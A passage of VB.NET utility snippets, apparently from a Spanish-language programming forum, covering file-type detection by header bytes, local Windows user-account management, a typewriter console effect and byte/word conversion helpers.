New Nullable(Of Byte)() {&H50, &H4B, &H3, &H4}, "zip", "application/x-compressed")
Public Shared ReadOnly RAR As New FileType(
New Nullable(Of Byte)() {&H52, &H61, &H72, &H21}, "rar", "application/x-compressed")
' all the file types to be put into one list
Friend Shared ReadOnly types As New List(Of FileType)() From { _
PDF,
WORD,
EXCEL,
JPEG,
ZIP,
RAR,
RTF,
PNG,
PPT,
GIF,
REG
}
' number of bytes we read from a file
Friend Const MaxHeaderSize As Integer = 560
' some file formats have headers offset to 512 bytes
' most of the times we only need first 8 bytes, but sometimes extend for 16
Private m_header As Nullable(Of Byte)()
Public Property header() As Nullable(Of Byte)()
Get
Return m_header
End Get
Private Set(value As Nullable(Of Byte)())
m_header = value
End Set
End Property
Private m_headerOffset As Integer
Public Property headerOffset() As Integer
Get
Return m_headerOffset
End Get
Private Set(value As Integer)
m_headerOffset = value
End Set
End Property
Private m_extension As String
Public Property extension() As String
Get
Return m_extension
End Get
Private Set(value As String)
m_extension = value
End Set
End Property
Private m_mime As String
Public Property mime() As String
Get
Return m_mime
End Get
Private Set(value As String)
m_mime = value
End Set
End Property
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="FileType"/> class.
''' Default construction with the header offset being set to zero by default
''' </summary>
''' <param name="header">Byte array with header.</param>
''' <param name="extension">String with extension.</param>
''' <param name="mime">The description of MIME.</param>
Public Sub New(header As Nullable(Of Byte)(), extension As String, mime As String)
Me.header = header
Me.extension = extension
Me.mime = mime
Me.headerOffset = 0
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="FileType"/> struct.
''' Takes the details of offset for the header
''' </summary>
''' <param name="header">Byte array with header.</param>
''' <param name="offset">The header offset - how far into the file we need to read the header</param>
''' <param name="extension">String with extension.</param>
''' <param name="mime">The description of MIME.</param>
Public Sub New(header As Nullable(Of Byte)(), offset As Integer, extension As String, mime As String)
Me.header = Nothing
Me.header = header
Me.headerOffset = offset
Me.extension = extension
Me.mime = mime
End Sub
#End Region
Public Overrides Function Equals(other As Object) As Boolean
If Not MyBase.Equals(other) Then
Return False
End If
If Not (TypeOf other Is FileType) Then
Return False
End If
Dim otherType As FileType = DirectCast(other, FileType)
If Not Me.header Is otherType.header Then
Return False
End If
If Me.headerOffset <> otherType.headerOffset Then
Return False
End If
If Me.extension <> otherType.extension Then
Return False
End If
If Me.mime <> otherType.mime Then
Return False
End If
Return True
End Function
Public Overrides Function ToString() As String
Return extension
End Function
End Class
''' <summary>
''' Helper class to identify file type by the file header, not file extension.
''' </summary>
Public NotInheritable Class FileTypeDetective
''' <summary>
''' Prevents a default instance of the <see cref="FileTypeDetective"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#Region "Main Methods"
''' <summary>
''' Gets the list of FileTypes based on list of extensions in Comma-Separated-Values string
''' </summary>
''' <param name="CSV">The CSV String with extensions</param>
''' <returns>List of FileTypes</returns>
Private Shared Function GetFileTypesByExtensions(CSV As String) As List(Of FileType)
Dim extensions As [String]() = CSV.ToUpper().Replace(" ", "").Split(","c)
Dim result As New List(Of FileType)()
For Each type As FileType In types
If extensions.Contains(type.extension.ToUpper()) Then
result.Add(type)
End If
Next
Return result
End Function
''' <summary>
''' Reads the file header - first (16) bytes from the file
''' </summary>
''' <param name="file">The file to work with</param>
''' <returns>Array of bytes</returns>
Private Shared Function ReadFileHeader(file As FileInfo, MaxHeaderSize As Integer) As [Byte]()
Dim header As [Byte]() = New Byte(MaxHeaderSize - 1) {}
Try
' read file
Using fsSource As New FileStream(file.FullName, FileMode.Open, FileAccess.Read)
' read first symbols from file into array of bytes.
fsSource.Read(header, 0, MaxHeaderSize)
' close the file stream
End Using
Catch e As Exception
' file could not be found/read
Throw New ApplicationException("Could not read file : " & e.Message)
End Try
Return header
End Function
''' <summary>
''' Read header of a file and depending on the information in the header
''' return object FileType.
''' Return null in case when the file type is not identified.
''' Throws Application exception if the file can not be read or does not exist
''' </summary>
''' <param name="file">The FileInfo object.</param>
''' <returns>FileType or null not identified</returns>
Public Shared Function GetFileType(file As FileInfo) As FileType
' read first n-bytes from the file
Dim fileHeader As [Byte]() = ReadFileHeader(file, MaxHeaderSize)
' compare the file header to the stored file headers
For Each type As FileType In types
Dim matchingCount As Integer = 0
For i As Integer = 0 To type.header.Length - 1
' if file offset is not set to zero, we need to take this into account when comparing.
' if byte in type.header is set to null, means this byte is variable, ignore it
If type.header(i) IsNot Nothing AndAlso type.header(i) <> fileHeader(i + type.headerOffset) Then
' if one of the bytes does not match, move on to the next type
matchingCount = 0
Exit For
Else
matchingCount += 1
End If
Next
If matchingCount = type.header.Length Then
' if all the bytes match, return the type
Return type
End If
Next
' if none of the types match, return null
Return Nothing
End Function
''' <summary>
''' Read header of a file and depending on the information in the header
''' return object FileType.
''' Return null in case when the file type is not identified.
''' Throws Application exception if the file can not be read or does not exist
''' </summary>
''' <param name="file">The FileInfo object.</param>
''' <returns>FileType or null not identified</returns>
Public Shared Function GetFileType(file As String) As FileType
Return GetFileType(New FileInfo(file))
End Function
''' <summary>
''' Determines whether provided file belongs to one of the provided list of files
''' </summary>
''' <param name="file">The file.</param>
''' <param name="requiredTypes">The required types.</param>
''' <returns>
''' <c>true</c> if file of the one of the provided types; otherwise, <c>false</c>.
''' </returns>
Public Shared Function isFileOfTypes(file As FileInfo, requiredTypes As List(Of FileType)) As Boolean
Dim currentType As FileType = GetFileType(file)
If currentType Is Nothing Then
Return False
End If
Return requiredTypes.Contains(currentType)
End Function
''' <summary>
''' Determines whether provided file belongs to one of the provided list of files,
''' where list of files provided by string with Comma-Separated-Values of extensions
''' </summary>
''' <param name="file">The file.</param>
''' <returns>
''' <c>true</c> if file of the one of the provided types; otherwise, <c>false</c>.
''' </returns>
Public Shared Function isFileOfTypes(file As FileInfo, CSV As String) As Boolean
Dim providedTypes As List(Of FileType) = GetFileTypesByExtensions(CSV)
Return isFileOfTypes(file, providedTypes)
End Function
#End Region
#Region "isType functions"
''' <summary>
''' Determines whether the specified file is of provided type
''' </summary>
''' <param name="file">The file.</param>
''' <param name="type">The FileType</param>
''' <returns>
''' <c>true</c> if the specified file is type; otherwise, <c>false</c>.
''' </returns>
Public Shared Function isType(file As FileInfo, type As FileType) As Boolean
Dim actualType As FileType = GetFileType(file)
If actualType Is Nothing Then
Return False
End If
Return (actualType.Equals(type))
End Function
''' <summary>
''' Determines whether the specified file is of provided type
''' </summary>
''' <param name="file">The file.</param>
''' <param name="type">The FileType</param>
''' <returns>
''' <c>true</c> if the specified file is type; otherwise, <c>false</c>.
''' </returns>
Public Shared Function isType(file As String, type As FileType) As Boolean
Return isType(New FileInfo(file), type)
End Function
#End Region
End Class
#End Region
Algunos métodos de uso genérico sobre las cuentas de usuario.
' Get UserNames
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'System.DirectoryServices.AccountManagement'.
' 2. Imports System.DirectoryServices.AccountManagement
'
' Example Usages:
' Dim UserNames As String() = GetUserNames()
'
''' <summary>
''' Get the username accounts of the current machine.
''' </summary>
''' <returns>System.String[][].</returns>
Public Function GetUserNames() As String()
Dim pContext As New PrincipalContext(ContextType.Machine)
Dim pUser As New UserPrincipal(pContext)
Dim pSearcher As New PrincipalSearcher(pUser)
Dim UserNames As String() = (From u As Principal In pSearcher.FindAll Select u.Name).ToArray
pContext.Dispose()
pSearcher.Dispose()
pUser.Dispose()
Return UserNames
End Function
' Get Users
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'System.DirectoryServices.AccountManagement'.
' 2. Imports System.DirectoryServices.AccountManagement
'
' Example Usages:
' Dim Users As Principal() = GetUsers()
' For Each User As Principal In Users()
' MsgBox(User.Name)
' Next
'
''' <summary>
''' Get the users of the current machine.
''' </summary>
''' <returns>Principal[][].</returns>
Public Function GetUsers() As Principal()
Dim pContext As New PrincipalContext(ContextType.Machine)
Dim pUser As New UserPrincipal(pContext)
Dim pSearcher As New PrincipalSearcher(pUser)
Dim Users As Principal() = (From User As Principal In pSearcher.FindAll).ToArray
Return Users
End Function
' Delete User Account
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'System.DirectoryServices.AccountManagement'.
' 2. Imports System.DirectoryServices.AccountManagement
'
' Example Usages:
' DeleteUserAccount("Username")
' DeleteUserAccount(New Security.Principal.SecurityIdentifier("S-1-5-21-250596608-219436059-1115792336-500"))
'
''' <summary>
''' Deletes an existing user account in the current machine.
''' </summary>
''' <param name="UserName">Indicates the account Username.</param>
''' <returns><c>true</c> if deletion success, <c>false</c> otherwise.</returns>
Public Function DeleteUserAccount(ByVal UserName As String) As Boolean
Dim pContext As New PrincipalContext(ContextType.Machine)
Dim pUser As New UserPrincipal(pContext)
Dim pSearcher As New PrincipalSearcher(pUser)
Dim User As Principal =
(From u As Principal In pSearcher.FindAll
Where u.Name.Equals(UserName, StringComparison.OrdinalIgnoreCase)).FirstOrDefault
If User Is Nothing Then
Throw New Exception(String.Format("User with name '{0}' not found.", UserName))
End If
Try
User.Delete()
Return True
Catch ex As InvalidOperationException
Throw New Exception(ex.Message)
Finally
pContext.Dispose()
pSearcher.Dispose()
pUser.Dispose()
End Try
Return False ' Failed.
End Function
''' <summary>
''' Deletes an existing user account in the current machine.
''' </summary>
''' <param name="UserSID">Indicates the account security identifier (SID).</param>
''' <returns><c>true</c> if deletion success, <c>false</c> otherwise.</returns>
Public Function DeleteUserAccount(ByVal UserSID As Security.Principal.SecurityIdentifier) As Boolean
Dim pContext As New PrincipalContext(ContextType.Machine)
Dim pUser As New UserPrincipal(pContext)
Dim pSearcher As New PrincipalSearcher(pUser)
Dim User As Principal =
(From u As Principal In pSearcher.FindAll
Where u.Sid = UserSID).FirstOrDefault
If User Is Nothing Then
Throw New Exception(String.Format("User with SID '{0}' not found.", UserSID.Value))
End If
Try
User.Delete()
Return True
Catch ex As InvalidOperationException
Throw New Exception(ex.Message)
Finally
pContext.Dispose()
pSearcher.Dispose()
pUser.Dispose()
End Try
Return False ' Failed.
End Function
' User Is Admin?
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'System.DirectoryServices.AccountManagement'.
' 2. Imports System.DirectoryServices.AccountManagement
'
' Example Usages:
' MsgBox(UserIsAdmin("Administrador"))
' MsgBox(UserIsAdmin(New Security.Principal.SecurityIdentifier("S-1-5-21-250596608-219436059-1115792336-500")))
'
''' <summary>
''' Determines whether an User is an Administrator.
''' </summary>
''' <param name="UserName">Indicates the account Username.</param>
''' <returns><c>true</c> if user is an Administrator, <c>false</c> otherwise.</returns>
Public Function UserIsAdmin(ByVal UserName As String) As Boolean
Dim AdminGroupSID As New SecurityIdentifier("S-1-5-32-544")
Dim pContext As New PrincipalContext(ContextType.Machine)
Dim pUser As New UserPrincipal(pContext)
Dim pSearcher As New PrincipalSearcher(pUser)
Dim User As Principal =
(From u As Principal In pSearcher.FindAll
Where u.Name.Equals(UserName, StringComparison.OrdinalIgnoreCase)).FirstOrDefault
If User Is Nothing Then
Throw New Exception(String.Format("User with name '{0}' not found.", UserName))
End If
Dim IsAdmin As Boolean =
(From Group As GroupPrincipal In User.GetGroups
Where Group.Sid = AdminGroupSID).Any
pContext.Dispose()
pSearcher.Dispose()
pUser.Dispose()
Return IsAdmin
End Function
''' <summary>
''' Determines whether an User is an Administrator.
''' </summary>
''' <param name="UserSID">Indicates the SID of the user account.</param>
''' <returns><c>true</c> if user is an Administrator, <c>false</c> otherwise.</returns>
Public Function UserIsAdmin(ByVal UserSID As Security.Principal.SecurityIdentifier) As Boolean
Dim AdminGroupSID As New SecurityIdentifier("S-1-5-32-544")
Dim pContext As New PrincipalContext(ContextType.Machine)
Dim pUser As New UserPrincipal(pContext)
Dim pSearcher As New PrincipalSearcher(pUser)
Dim User As Principal =
(From u As Principal In pSearcher.FindAll
Where u.Sid = UserSID).FirstOrDefault
If User Is Nothing Then
Throw New Exception(String.Format("User with SID '{0}' not found.", UserSID.Value))
End If
Dim IsAdmin As Boolean =
(From Group As GroupPrincipal In User.GetGroups
Where Group.Sid = AdminGroupSID).Any
pContext.Dispose()
pSearcher.Dispose()
pUser.Dispose()
Return IsAdmin
End Function
' Set UserName
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'System.DirectoryServices.AccountManagement'.
' 2. Imports System.DirectoryServices.AccountManagement
'
' Example Usages:
' SetUserName("Username", "New Name")
' SetUserName(New Security.Principal.SecurityIdentifier("S-1-5-21-250596608-219436059-1115792336-500"), "New Name")
'
''' <summary>
''' Sets the UserName of an existing User account.
''' </summary>
''' <param name="OldUserName">Indicates an existing username account.</param>
''' <param name="NewUserName">Indicates the new name for the user account.</param>
''' <returns><c>true</c> if change success, <c>false</c> otherwise.</returns>
Public Function SetUserName(ByVal OldUserName As String,
ByVal NewUserName As String) As Boolean
Dim pContext As New PrincipalContext(ContextType.Machine)
Dim pUser As New UserPrincipal(pContext)
Dim pSearcher As New PrincipalSearcher(pUser)
Dim User As Principal =
(From u As Principal In pSearcher.FindAll
Where u.Name.Equals(OldUserName, StringComparison.OrdinalIgnoreCase)).FirstOrDefault
If User Is Nothing Then
Throw New Exception(String.Format("User with name '{0}' not found.", OldUserName))
End If
Try
User.Name = NewUserName
User.Save()
Return True
Catch ex As InvalidOperationException
Throw New Exception(ex.Message)
Finally
pContext.Dispose()
pSearcher.Dispose()
pUser.Dispose()
End Try
Return False ' Failed.
End Function
''' <summary>
''' Sets the UserName of an existing User account.
''' </summary>
''' <param name="UserSID">Indicates the SID of the user account.</param>
''' <param name="NewUserName">Indicates the new name for the user account.</param>
''' <returns><c>true</c> if change success, <c>false</c> otherwise.</returns>
Public Function SetUserName(ByVal UserSID As Security.Principal.SecurityIdentifier,
ByVal NewUserName As String) As Boolean
Dim pContext As New PrincipalContext(ContextType.Machine)
Dim pUser As New UserPrincipal(pContext)
Dim pSearcher As New PrincipalSearcher(pUser)
Dim User As Principal =
(From u As Principal In pSearcher.FindAll
Where u.Sid = UserSID).FirstOrDefault
If User Is Nothing Then
Throw New Exception(String.Format("User with SID '{0}' not found.", UserSID.Value))
End If
Try
User.Name = NewUserName
User.Save()
Return True
Catch ex As InvalidOperationException
Throw New Exception(ex.Message)
Finally
pContext.Dispose()
pSearcher.Dispose()
pUser.Dispose()
End Try
Return False ' Failed.
End Function
' Set Account DisplayName
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'System.DirectoryServices.AccountManagement'.
' 2. Imports System.DirectoryServices.AccountManagement
'
' Example Usages:
' SetAccountDisplayName("Username", "New Name")
' SetAccountDisplayName(New Security.Principal.SecurityIdentifier("S-1-5-21-250596608-219436059-1115792336-500"), "New Name")
'
''' <summary>
''' Sets the display name of an existing User account.
''' </summary>
''' <param name="OldDisplayName">Indicates an existing display name user account.</param>
''' <param name="NewDisplayName">Indicates the new display name for the user account.</param>
''' <returns><c>true</c> if change success, <c>false</c> otherwise.</returns>
Public Function SetAccountDisplayName(ByVal OldDisplayName As String,
ByVal NewDisplayName As String) As Boolean
Dim pContext As New PrincipalContext(ContextType.Machine)
Dim pUser As New UserPrincipal(pContext)
Dim pSearcher As New PrincipalSearcher(pUser)
Dim User As Principal =
(From u As Principal In pSearcher.FindAll
Where u.Name.Equals(OldDisplayName, StringComparison.OrdinalIgnoreCase)).FirstOrDefault
If User Is Nothing Then
Throw New Exception(String.Format("User with display name '{0}' not found.", OldDisplayName))
End If
Try
User.DisplayName = NewDisplayName
User.Save()
Return True
Catch ex As InvalidOperationException
Throw New Exception(ex.Message)
Finally
pContext.Dispose()
pSearcher.Dispose()
pUser.Dispose()
End Try
Return False ' Failed.
End Function
''' <summary>
''' Sets the display name of an existing User account.
''' </summary>
''' <param name="UserSID">Indicates the SID of the user account.</param>
''' <param name="NewDisplayName">Indicates the new display name for the user account.</param>
''' <returns><c>true</c> if change success, <c>false</c> otherwise.</returns>
Public Function SetAccountDisplayName(ByVal UserSID As Security.Principal.SecurityIdentifier,
ByVal NewDisplayName As String) As Boolean
Dim pContext As New PrincipalContext(ContextType.Machine)
Dim pUser As New UserPrincipal(pContext)
Dim pSearcher As New PrincipalSearcher(pUser)
Dim User As Principal =
(From u As Principal In pSearcher.FindAll
Where u.Sid = UserSID).FirstOrDefault
If User Is Nothing Then
Throw New Exception(String.Format("User with SID '{0}' not found.", UserSID.Value))
End If
Try
User.DisplayName = NewDisplayName
User.Save()
Return True
Catch ex As InvalidOperationException
Throw New Exception(ex.Message)
Finally
pContext.Dispose()
pSearcher.Dispose()
pUser.Dispose()
End Try
Return False ' Failed.
End Function
Un ejemplo de uso muy básico de la librería NCalc ~> http://ncalc.codeplex.com/
Dim MathExpression As String = "(2 + 3) * 2" ' Result: 10
Dim NCalcExpression As New NCalc.Expression(MathExpression)
MsgBox(NCalcExpression.Evaluate().ToString)
Una forma de comprobar si un archivo es un ensamblado .NET:
' Usage Examples:
'
' MsgBox(IsNetAssembly("C:\File.exe"))
' MsgBox(IsNetAssembly("C:\File.dll"))
''' <summary>
''' Gets the common language runtime (CLR) version information of the specified file, using the specified buffer.
''' </summary>
''' <param name="filepath">Indicates the filepath of the file to be examined.</param>
''' <param name="buffer">Indicates the buffer allocated for the version information that is returned.</param>
''' <param name="buflen">Indicates the size, in wide characters, of the buffer.</param>
''' <param name="written">Indicates the size, in bytes, of the returned buffer.</param>
''' <returns>System.Int32.</returns>
<System.Runtime.InteropServices.DllImport("mscoree.dll",
CharSet:=System.Runtime.InteropServices.CharSet.Unicode)>
Private Shared Function GetFileVersion(
ByVal filepath As String,
ByVal buffer As System.Text.StringBuilder,
ByVal buflen As Integer,
ByRef written As Integer
) As Integer
End Function
''' <summary>
''' Determines whether an exe/dll file is an .Net assembly.
''' </summary>
''' <param name="File">Indicates the exe/dll file to check.</param>
''' <returns><c>true</c> if file is an .Net assembly; otherwise, <c>false</c>.</returns>
Public Shared Function IsNetAssembly(ByVal [File] As String) As Boolean
Dim sb = New System.Text.StringBuilder(256)
Dim written As Integer = 0
Dim hr = GetFileVersion([File], sb, sb.Capacity, written)
Return hr = 0
End Function
Un simple efecto de máquina de escribir:
' ***********************************************************************
' Author : Elektro
' Modified : 03-08-2014
' ***********************************************************************
' <copyright file="TypeWritter.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Sub Main()
' Console.WriteLine()
' TypeWritter.WriteLine("[ Typewritter ] - By Elektro")
' TypeWritter.WriteLine()
' TypeWritter.WriteLine()
' TypeWritter.WriteLine("Hola a todos!, les presento este humilde y simple efecto de máquina de escribir")
' TypeWritter.WriteLine()
' TypeWritter.WriteLine("Si os fijais aténtamente, quizás ya habreis notado, que hay pausas realistas, al escribir signos de puntuación...")
' TypeWritter.WriteLine()
' TypeWritter.WriteLine("[+] Podemos establecer la velocidad de escritura, por ejemplo, a 20 ms. :")
' TypeWritter.WriteLine("abcdefghijklmnopqrstuvwxyz", 20)
' TypeWritter.WriteLine()
' TypeWritter.WriteLine("[+] Podemos establecer la velocidad de las pausas, por ejemplo, a 2 seg. :")
' TypeWritter.WriteLine(".,;:", , 2 * 1000)
' TypeWritter.WriteLine()
' TypeWritter.WriteLine("[+] El efecto corre en una tarea asíncrona, por lo que se pueden hacer otras cosas mientras tanto, sin frezzear una GUI, y también podemos cancelar la escritura en cualquier momento, gracias al Token de cancelación.")
' TypeWritter.WriteLine()
' TypeWritter.WriteLine()
' TypeWritter.WriteLine("Esto es todo por ahora.")
' Console.ReadKey()
'End Sub
#End Region
#Region " TypeWritter "
''' <summary>
''' Simulates text-typying effect like a Typewritter.
''' </summary>
Public Class TypeWritter
#Region " Properties "
''' <summary>
''' When set to 'True', the running 'Typewritter' task will be cancelled.
''' ( The property is set again to 'False' automatically after a 'Task' is cancelled )
''' </summary>
Public Shared Property RequestCancel As Boolean = False
#End Region
#Region " Task Objects "
''' <summary>
''' The typewritter asynchronous Task.
''' </summary>
Private Shared TypeWritterTask As Threading.Tasks.Task
''' <summary>
''' The typewritter Task Cancellation TokenSource.
''' </summary>
Private Shared TypeWritterTaskCTS As New Threading.CancellationTokenSource
''' <summary>
''' The typewritter Task Cancellation Token.
''' </summary>
Private Shared TypeWritterTaskCT As Threading.CancellationToken = TypeWritterTaskCTS.Token
#End Region
#Region " Private Methods "
''' <summary>
''' Writes text simulating a Typewritter effect.
''' </summary>
''' <param name="CancellationToken">Indicates the cancellation token of the Task.</param>
''' <param name="Text">Indicates the text to type.</param>
''' <param name="TypeSpeed">Indicates the typying speed, in ms.</param>
''' <param name="PauseDuration">Indicates the pause duration of the punctuation characters, in ms.</param>
Private Shared Sub TypeWritter(ByVal CancellationToken As Threading.CancellationToken,
ByVal [Text] As String,
ByVal TypeSpeed As Integer,
ByVal PauseDuration As Integer)
' If Text is empty then write an empty line...
If String.IsNullOrEmpty([Text]) Then
' If not cancellation is already requested then...
If Not CancellationToken.IsCancellationRequested Then
' Write an empty line.
Console.WriteLine()
' Wait-Speed (empty line).
Threading.Thread.Sleep(PauseDuration)
End If ' CancellationToken.IsCancellationRequested
End If ' String.IsNullOrEmpty([Text])
' For each Character in Text to type...
For Each c As Char In [Text]
' If not cancellation is already requested then...
If Not CancellationToken.IsCancellationRequested Then
' Type the character.
Console.Write(CStr(c))
' Type-Wait.
Threading.Thread.Sleep(TypeSpeed)
If ".,;:".Contains(c) Then
' Pause-Wait.
Threading.Thread.Sleep(PauseDuration)
End If
Else ' want to cancel.
' Exit iteration.
Exit For
End If ' CancellationToken.IsCancellationRequested
Next c ' As Char In [Text]
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Writes text simulating a Typewritter effect.
''' </summary>
''' <param name="Text">Indicates the text to type.</param>
''' <param name="TypeSpeed">Indicates the typying speed, in ms.</param>
''' <param name="PauseDuration">Indicates the pause duration of the punctuation characters, in ms.</param>
Public Shared Sub Write(ByVal [Text] As String,
Optional ByVal TypeSpeed As Integer = 75,
Optional ByVal PauseDuration As Integer = 400)
' Run the asynchronous Task.
TypeWritterTask = Threading.Tasks.
Task.Factory.StartNew(Sub()
TypeWritter(TypeWritterTaskCT, [Text], TypeSpeed, PauseDuration)
End Sub, TypeWritterTaskCT)
' Until Task is not completed or is not cancelled, do...
Do Until TypeWritterTask.IsCompleted OrElse TypeWritterTask.IsCanceled
' If want to cancel then...
If RequestCancel Then
' If not cancellation is already requested then...
If Not TypeWritterTaskCTS.IsCancellationRequested Then
' Cancel the Task.
TypeWritterTaskCTS.Cancel()
' Renew the cancellation token and tokensource.
TypeWritterTaskCTS = New Threading.CancellationTokenSource
TypeWritterTaskCT = TypeWritterTaskCTS.Token
End If
' Reset the cancellation flag var.
RequestCancel = False
' Exit iteration.
Exit Do
End If
Loop ' TypeTask.IsCompleted OrElse TypeTask.IsCanceled
End Sub
''' <summary>
''' Writes text simulating a Typewritter effect, and adds a break-line at the end.
''' </summary>
''' <param name="Text">Indicates the text to type.</param>
''' <param name="TypeSpeed">Indicates the typying speed, in ms.</param>
''' <param name="PauseDuration">Indicates the pause duration of the punctuation characters, in ms.</param>
Public Shared Sub WriteLine(ByVal [Text] As String,
Optional ByVal TypeSpeed As Integer = 75,
Optional ByVal PauseDuration As Integer = 400)
Write([Text], TypeSpeed, PauseDuration)
Console.WriteLine()
End Sub
''' <summary>
''' Writes an empty line.
''' </summary>
''' <param name="PauseDuration">Indicates the pause duration of the empty line, in ms.</param>
Public Shared Sub WriteLine(Optional ByVal PauseDuration As Integer = 750)
Write(String.Empty, 1, PauseDuration)
End Sub
#End Region
End Class
#End Region
Unos snippets para imitar las macros "LoByte", "LoWord", "LoDword", etc, usando la Class BitConverter, la cual, aunque necesita hacer más trabajo, me parece una solución mucho mas elegante que las que se pueden encontrar por ahí, e igual de efectiva.
' Get LoByte
' ( By Elektro )
'
' Usage Examples:
' MsgBox(GetLoByte(1587S)) ' Result: 51
'
''' <summary>
''' Gets the low-order byte of an 'Int16' value.
''' </summary>
''' <param name="Value">Indicates the 'Int16' value that contains both the LoByte and the HiByte.</param>
''' <returns>The return value is the low-order byte.</returns>
Public Shared Function GetLoByte(ByVal value As Short) As Byte
Return BitConverter.GetBytes(value).First
End Function
' Get HiByte
' ( By Elektro )
'
' Usage Examples:
' MsgBox(GetHiByte(1587S)) ' Result: 6
'
''' <summary>
''' Gets the high-order byte of an 'Int16' value.
''' </summary>
''' <param name="Value">Indicates the 'Int16' value that contains both the LoByte and the HiByte.</param>
''' <returns>The return value is the high-order byte.</returns>
Public Shared Function GetHiByte(ByVal value As Short) As Byte
Return BitConverter.GetBytes(value).Last
End Function
' Get LoWord
' ( By Elektro )
'
' Usage Examples:
' MsgBox(GetLoWord(13959358I)) ' Result: 190S
'
''' <summary>
''' Gets the low-order word of an 'Int32' value.
''' </summary>
''' <param name="Value">Indicates the 'Int32' value that contains both the LoWord and the HiWord.</param>
''' <returns>The return value is the low-order word.</returns>
Public Shared Function GetLoWord(ByVal value As Integer) As Short
Return BitConverter.ToInt16(BitConverter.GetBytes(value), 0)
End Function
' Get HiWord
' ( By Elektro )
'
' Usage Examples:
' MsgBox(GetHiWord(13959358I)) ' Result: 213S
'
''' <summary>
''' Gets the high-order word of an 'Int32' value.
''' </summary>
''' <param name="Value">Indicates the 'Int32' value that contains both the LoWord and the HiWord.</param>
''' <returns>The return value is the high-order word.</returns>
Public Shared Function GetHiWord(ByVal value As Integer) As Short
Return BitConverter.ToInt16(BitConverter.GetBytes(value), 2)
End Function
' Get LoDword (As Unsigned Integer)
' ( By Elektro )
'
' Usage Examples:
' MsgBox(GetLoDword(328576329396160UL)) ' Result: 2741317568UI
'
''' <summary>
''' Gets the low-order double word of an 'UInt64' value.
''' </summary>
''' <param name="Value">Indicates the 'UInt64' value that contains both the LoDword and the HiDword.</param>
''' <returns>The return value is the low-order double word.</returns>
Public Shared Function GetLoDword(ByVal value As ULong) As UInteger
Return BitConverter.ToUInt32(BitConverter.GetBytes(value), 0)
End Function
' Get HiDword (As Unsigned Integer)
' ( By Elektro )
'
' Usage Examples:
' MsgBox(GetHiDword(328576329396160UL)) ' Result: 76502UI
'
''' <summary>
''' Gets the high-order double word of an 'UInt64' value.
''' </summary>
''' <param name="Value">Indicates the 'UInt64' value that contains both the LoDword and the HiDword.</param>
''' <returns>The return value is the high-order double word.</returns>
Public Shared Function GetHiDword(ByVal value As ULong) As UInteger
Return BitConverter.ToUInt32(BitConverter.GetBytes(value), 4)
End Function
' Get LoDword (As Signed Integer)
' ( By Elektro )
'
' Usage Examples:
' MsgBox(GetLoDword(328576329396160L)) ' Result: -1553649728I
'
''' <summary>
''' Gets the low-order double word of an 'Int64' value.
''' </summary>
''' <param name="Value">Indicates the 'Int64' value that contains both the LoDword and the HiDword.</param>
''' <returns>The return value is the low-order double word.</returns>
Public Shared Function GetLoDword(ByVal value As Long) As Integer
Return BitConverter.ToInt32(BitConverter.GetBytes(value), 0)
End Function
' Get HiDword (As Signed Integer)
' ( By Elektro )
'
' Usage Examples:
' MsgBox(GetHiDword(328576329396160L)) ' Result: 76502I
'
''' <summary>
''' Gets the high-order double word of an 'Int64' value.
''' </summary>
''' <param name="Value">Indicates the 'Int64' value that contains both the LoDword and the HiDword.</param>
''' <returns>The return value is the high-order double word.</returns>
Public Shared Function GetHiDword(ByVal value As Long) As Integer
Return BitConverter.ToInt32(BitConverter.GetBytes(value), 4)
End Function
' Make Word
' ( By Elektro )
'
' Usage Examples:
' MsgBox(MakeWord(51S, 6S)) ' Result: 1587S
'
''' <summary>
''' Makes an 'Int16' value from two bytes.
''' </summary>
''' <param name="LoByte">Indicates the low-order byte.</param>
''' <param name="HiByte">Indicates the high-order byte.</param>
''' <returns>The 'Int16' value.</returns>
Public Shared Function MakeWord(ByVal LoByte As Byte,
ByVal HiByte As Byte) As Short
Return BitConverter.ToInt16(New Byte() {LoByte, HiByte}, 0)
End Function
' Make Dword
' ( By Elektro )
'
' Usage Examples:
' MsgBox(MakedWord(190S, 213S)) ' Result: 13959358I
'
''' <summary>
''' Makes an 'Int32' value from two 'Int16' values.
''' </summary>
''' <param name="LoWord">Indicates the low-order word.</param>
''' <param name="HiWord">Indicates the high-order word.</param>
''' <returns>The 'Int32' value.</returns>
Public Shared Function MakeDword(ByVal LoWord As Short,
ByVal HiWord As Short) As Integer
Dim LoBytes As Byte() = BitConverter.GetBytes(LoWord)
Dim HiBytes As Byte() = BitConverter.GetBytes(HiWord)
Dim Combined As Byte() = LoBytes.Concat(HiBytes).ToArray
Return BitConverter.ToInt32(Combined, 0)
End Function
' Make Long (From An Unsigned Integer)
' ( By Elektro )
'
' Usage Examples:
' MsgBox(MakeLong(2741317568UI, 76502UI)) ' Result: 328576329396160UL
'
''' <summary>
''' Makes an 'UInt64' value from two 'UInt32' values.
''' </summary>
''' <param name="LoDword">Indicates the low-order Dword.</param>
''' <param name="HiDword">Indicates the high-order Dword.</param>
''' <returns>The 'UInt64' value.</returns>
Public Shared Function MakeLong(ByVal LoDword As UInteger,
ByVal HiDword As UInteger) As ULong
Dim LoBytes As Byte() = BitConverter.GetBytes(LoDword)
Dim HiBytes As Byte() = BitConverter.GetBytes(HiDword)
Dim Combined As Byte() = LoBytes.Concat(HiBytes).ToArray
Return BitConverter.ToUInt64(Combined, 0)
End Function
' Make Long (From a Signed Integer)
' ( By Elektro )
'
' Usage Examples:
' MsgBox(MakeLong(-1553649728I, 76502I)) ' Result: 328576329396160L
'
''' <summary>
''' Makes an 'Int64' value from two 'Int32' values.
''' </summary>
''' <param name="LoDword">Indicates the low-order Dword.</param>
''' <param name="HiDword">Indicates the high-order Dword.</param>
''' <returns>The 'Int64' value.</returns>
Public Shared Function MakeLong(ByVal LoDword As Integer,
ByVal HiDword As Integer) As Long
Dim LoBytes As Byte() = BitConverter.GetBytes(LoDword)
